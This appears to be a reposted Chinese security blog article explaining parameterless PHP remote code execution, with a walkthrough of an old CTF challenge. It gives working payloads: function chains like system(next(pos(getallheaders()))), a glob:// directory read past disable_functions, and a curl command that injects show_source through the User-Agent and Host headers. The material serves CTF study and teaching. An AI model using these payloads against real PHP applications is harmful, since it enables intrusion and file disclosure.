无参数读文件和RCE的利用研究

admin 2025年2月9日01:43:14评论21 views字数 1995阅读6分39秒阅读模式

点击上方蓝字关注我们

无参数读文件和RCE的利用研究
最近研究了一个以前的题目,涉及到无参数RCE
所以写了一篇文章来记录
首先来看原理
preg_replace('/[^W]+((?R)?)/', '', $_GET['code'])
根据代码,可以发现,这里例如a(b(c()));可以使用,但是a('b')含有参数不能使用
正常情况下,print_r(scandir('.'));可以用来查看当前目录所有文件名
但是要怎么构造参数里这个点呢
这里就需要使用到localeconv()函数
localeconv()返回一包含本地数字及货币格式信息的数组。而数组第一项就是"."
无参数读文件和RCE的利用研究
这里还有一个知识点,就是从数组中取得数据,可以用到如下函数
无参数读文件和RCE的利用研究
这样我们就可以获取数组的第一项
print_r(scandir(current(localeconv())));
无参数读文件和RCE的利用研究
这样就成功打印了当前目录
那么我们可以利用getallheaders()来达成RCE,但是该函数只能在Apache环境下使用
system(next(pos(getallheaders())));
这样我们在headers中输入命令内容,使用getallheaders来获取就达成了简单的RCE
利用的方法还有很多。。。。
为了更好的理解,我们来看一个以前的赛题
题目代码如下
$token = sha1($_SERVER['REMOTE_ADDR']);
$file = '../sandbox/'.$token.'/';
is_dir($file) ?: mkdir($file);
is_file($file.'index.php') ?: file_put_contents($file.'index.php', str_replace('#SHA1#', $token, file_get_contents('./template')));
switch($_GET['action'] ?: ''){
  case 'go':
      header('Location: http://'.$token.'.sandbox.r-cursive.ml:1337/');
      break;
  case 'reset':
      system('rm -rf '.$file);
      break;
  default:
      show_source(__FILE__);
访问?action=go
<?php
sha1($_SERVER['REMOTE_ADDR']) === 'xxx' ?: die();
';' === preg_replace('/[^W_]+((?R)?)/', NULL, $_GET['cmd']) ? eval($_GET['cmd']) : show_source(__FILE__);
通过获取headers的方式,可以设置ua来传入字符串,成功执行命令。
disable_classes:GlobIterator,DirectoryIterator,FilesystemIterator,RecursiveDirectoryIteratordisable_functionssystem,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,putenv,apache_setenv,mb_send_mail,assert,dl,set_time_limit,ignore_user_abort,symlink,link
由于disable_classes和disable_functions的设置,导致后面open_baseidr完全没办法绕过,但我们可以用glob协议读取目录
if ($dh = opendir('glob:///*/*/*/*')) {while (($file = readdir($dh)) !== false) {echo $file.' ';}closedir($dh);}
这里涉及到一个知识点,对于不同的请求来说,open_basedir都是不同的,那么服务端就需要获取请求的地址,然后做解析,这部分的配置一般是由apache来做的,但如果请求的host中不包含这个sha1的字符串,那么就可以让后端无法获取到这个字符串,就会将open_basedir设置为/var/www/sandbox,就可以读取这个目录下的文件了。
curl "http://xxx/47933bf3ea6c89fb70bb9c63930val(next(getallheaders()));" -H "User-Agent: show_source('../init.php');" -H "Host: .sandbox.r-cursive.ml"


ini_set("open_basedir", $_SERVER['DOCUMENT_ROOT']."/:/tmp/");

原文始发于微信公众号(SAINTSEC):无参数读文件和RCE的利用研究

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月9日01:43:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   无参数读文件和RCE的利用研究http://cn-sec.com/archives/3690782.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息